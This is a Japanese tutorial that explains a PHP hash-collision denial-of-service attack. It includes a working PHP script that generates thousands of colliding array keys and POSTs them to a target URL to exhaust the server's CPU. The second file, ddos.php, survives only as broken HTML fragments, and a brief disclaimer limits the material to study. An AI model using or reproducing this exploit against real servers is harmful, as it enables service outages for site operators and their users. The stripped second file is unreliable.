PHPがhash衝突ホールを利用してDDoS攻撃を行う方法の分析

1952 ワード

本論文では,PHPがhash衝突ホールを用いてDDoS攻撃を行う方法を例として解析した.皆さんの参考にしてください.具体的な分析は以下の通りである.
まず声明します:本文の内容はただ学習の使用を研究することに用いて、不法行為に用いないでください!
前述したように、java、python、phpなど、最近爆発したhashテーブルの衝突ホールは、多くの一般的な言語が免れていないので、今晩は実際にその威力を見てみましょう.
攻撃の原理:
ターゲットサーバpostに丹念に組み込まれた配列パラメータのセットを作成することによって、サービス側に到着した後、言語の最下位で受信した配列パラメータを処理すると、この脆弱性の存在によりCPUの大量消費が発生し、最終的にサーバリソースが枯渇する.派手な手法ではなく、PHPで簡単に見た効果を実現し、点到即止します.
ファイル:dos.php

//      
//         ,         
$host = 'http://127.0.0.1/test.php';
$data = '';
$size = pow(2, 15);
for ($key=0, $max=($size-1)*$size; $key<=$max; $key+=$size)
{
  $data .= '&array[' . $key . ']=0';
}
$ret = curl($host, ltrim($data,'&')); 
var_dump($ret); 
function curl($url, $post, $timeout = 30){
  $ch = curl_init();
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); 
  curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout - 5);
  curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));
  curl_setopt($ch, CURLOPT_URL, $url);
  curl_setopt($ch, CURLOPT_POST, true);
  curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  $output = curl_exec($ch);
  if ($output === false) return false;
  $info = curl_getinfo($ch);
  $http_code = $info['http_code'];
  if ($http_code == 404) return false;
  curl_close($ch);
  return $output;
}

ファイル:ddos.php

 
 
 
 
DDOS 
 
 
'; 
} 
?> 
 

本稿で述べたphpプログラム設計に役立つことを願っています.